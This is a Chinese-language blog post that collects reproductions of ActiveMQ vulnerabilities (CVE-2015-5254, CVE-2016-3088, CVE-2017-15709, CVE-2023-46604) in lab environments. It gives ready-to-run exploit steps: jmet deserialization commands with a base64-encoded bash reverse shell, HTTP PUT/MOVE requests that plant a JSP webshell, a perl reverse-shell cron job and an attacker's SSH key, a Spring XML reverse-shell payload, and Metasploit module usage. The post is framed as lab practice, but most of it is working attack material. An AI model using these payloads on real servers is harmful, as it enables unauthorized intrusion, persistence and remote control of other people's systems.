ActiveMQ漏洞合集

目录

介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围 :Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:

shell 复制代码
cd vulhub-master/activemq/CVE-2015-5254
docker-compose up -d
docker ps
docker-compose down

运行环境后,会建立61616和8161这两个端口。

其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。

使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。

漏洞发现

Nuclei❌

Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap

漏洞验证

  1. 生成序列化的有效负载(可以使用 ysoserial)
  2. 作为一个消息,将有效负载发送到端口 61616
  3. 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。

  1. 首先在攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
shell 复制代码
# 下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

# 创建external目录
mkdir external
  1. 执行命令,将有效负载发送到目标IP的61616端口。

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。

-Q 比如我修改event为hack 就成为插入一个名为hack的队列。

shell 复制代码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616
  1. 这时,会给目标ActiveMQ添加一个event列,我们可以通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看这条消息即可触发命令执行

点击一下

登录ActiveMQ容器环境docker exec -it [容器ID] bash,查看命令已经执行成功,/tmp/sucess文件已成功创建。

漏洞利用

反弹shell到vps上

  1. 将命令替换成弹shell的语句再利用
  2. 将反弹语句bese64编码
  3. vps开启端口监听

生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html

shell 复制代码
bash -i >& /dev/tcp/192.168.229.128/6666 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

执行弹shell命令(这里记住ID号,后面会用到)

shell 复制代码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616

通过/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息,找到相关消息,点击它

点击之后,即可执行命令,反弹shell

CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞

**漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
影响范围 :Apache ActiveMQ <= 5.13.3
修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/13372
漏洞复现参考https://blog.csdn.net/m0_51683653/article/details/129240528
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
环境搭建:

shell 复制代码
cd vulhub-master/activemq/CVE-2016-3088
docker-compose up -d
docker ps
docker-compose down

漏洞发现

Nuclei✅

Nuclei检测到了两个默认口令以及CVE-2016-3088

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap

MSF✅

shell 复制代码
search CVE-2016-3088
exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 192.168.229.140
exploit

第三方工具1(漏洞探测)✅

项目地址:https://github.com/YutuSec/ActiveMQ_Crack

漏洞验证

我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

方式1:写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问

默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

需要知道ActiveMQ的绝对路径
需要能登录admin或者api
  1. 上传webshell(这里使用冰蝎的 jsp 马):

这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改

shell 复制代码
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt

  1. 移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。

利用MOVE,可以将木马文件移动到api或者admin

shell 复制代码
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
  1. 访问一下,看起来上传成功了:http://192.168.229.140:8161/api/s.jsp
  1. 连接webshell

需要设置一下请求头

找到了上传的马子

方式2:写入crontab,自动化弹shell

需要运行ActiveMQ的用户有root权限
服务器开启了cron服务
运行ActiveMQ的用户有使用crontab的权限

这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。

下载地址:https://activemq.apache.org/download-archives.html

  1. 环境准备
shell 复制代码
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

shell 复制代码
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root

shell 复制代码
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204了,说明写入成功。等待反弹shell

【不知道为什么,反弹失败】

方式3:写入ssh key

这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。

下载地址:https://activemq.apache.org/download-archives.html

shell 复制代码
需要运行ActiveMQ的用户有root权限
需要服务器开启了ssh服务,并且攻击机可以连接
  1. 环境准备
shell 复制代码
tar -zxvf apache-activemq-5.7.0-bin.tar.gz 
cd apache-activemq-5.7.0/bin/
./activemq start
  1. 端口探测

服务器端口:22、8161和61616端口可达

  1. 开始攻击

上传我们的 ssh 公钥,从而实现 SSH 方式登录

shell 复制代码
ssh-keygen -t rsa
shell 复制代码
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 562

ssh-rsa[SSH公钥]

移动到/root/.ssh/并重命名为authorized_keys

shell 复制代码
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
  1. SSH登录目标系统

CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞

漏洞介绍 & 环境准备

**漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
影响范围 :5.14.0 <= Apache ActiveMQ <= 5.15.2
修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/43276
漏洞复现参考https://blog.csdn.net/weixin_44047654/article/details/128033283
环境搭建 :使用在线靶场https://vulfocus.cn/

漏洞验证

使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。

此处,靶场对外映射的端口是25303

CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
影响范围

shell 复制代码
5.18.0<=Apache ActiveMQ<5.18.3
5.17.0<=Apache ActiveMQ<5.17.6
5.16.0<=Apache ActiveMQ<5.16.7
Apache ActiveMQ<5.15.16
5.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.3
5.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.16
5.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.7
5.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6

修复方式 :目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接https://ti.qianxin.com/vulnerability/detail/316432
漏洞复现参考https://blog.csdn.net/qq_41904294/article/details/134066087

**环境搭建:**下载地址:https://activemq.apache.org/download-archives.html

shell 复制代码
tar -zxvf ./apache-activemq-5.18.1-bin.tar.gz
cd apache-activemq-5.18.1/bin/
./activemq start
./activemq stop

默认情况下,无法访问控制台,进入ActiveMQ安装目录下的conf文件夹,找到jetty.xml,修改为0.0.0.0后重启ActiveMQ即可。

登录系统,系统版本是有漏洞的。

漏洞发现(针对linux系统)

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来

MSF❌

仅支持windows的payload,因此无法针对linux系统反弹shell

shell 复制代码
search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
show payloads

第三方工具1(反弹shell)

项目地址:https://github.com/sule01u/CVE-2023-46604

反弹shell的xml文件:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

第三方工具2(反弹shell)

项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max

反弹shell的xml文件:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
  1. JDK11启动工具
shell 复制代码
C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
  1. 反弹shell

第三方工具3(反弹shell)

教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087

项目地址:https://github.com/trganda/ActiveMQ-RCE

直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了

漏洞发现(针对Windows系统)

确认关闭了防火墙

漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg

启动环境

Nuclei❌

Nuclei是有相关POC的,但是没有扫描出来

MSF✅

shell 复制代码
search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
set SRVPORT 8081
exploit

参考

activemq介绍及漏洞总结

相关推荐
燃犀知不可乎骤得11 天前
如何在Linux环境中的Qt项目中使用ActiveMQ-CPP
linux·qt·activemq
燃犀知不可乎骤得11 天前
linux 运行 activemq,Linux 安装 ActiveMQ 服务器详解
linux·activemq
燃犀知不可乎骤得11 天前
Linux下安装ActiveMQ-CPP
c++·cms·activemq
小灰灰__1 个月前
Docker安装ActiveMQ镜像以及通过Java生产消费activemq示例
docker·activemq·java-activemq
Dylanioucn1 个月前
【分别为微服务云原生】9分钟ActiveMQ延时消息队列:定时任务的革命与Quartz的较量
微服务·云原生·activemq
空名_Noname1 个月前
【转载翻译】消息队列 - ActiveMQ、RabbitMQ、Kafka、ZeroMQ
c++·kafka·rabbitmq·activemq·zeromq
Dylanioucn1 个月前
【分布式微服务云原生】如何在ActiveMQ中优雅处理提前支付的延时订单
分布式·微服务·activemq
zhangjin12221 个月前
kettle从入门到精通 第八十九课 ETL之kettle kettle jms activemq使用教程
数据仓库·etl·activemq·kettle jms·kettle active
追梦@Java2 个月前
Spring + ActiveMQ 整合实现点对点(point to point)消息发送案例
java·后端·spring·activemq·java-activemq
追梦@Java2 个月前
Spring + ActiveMQ 整合实现发布/订阅(publish-subscribe)消息发送案例
java·后端·spring·activemq·java-activemq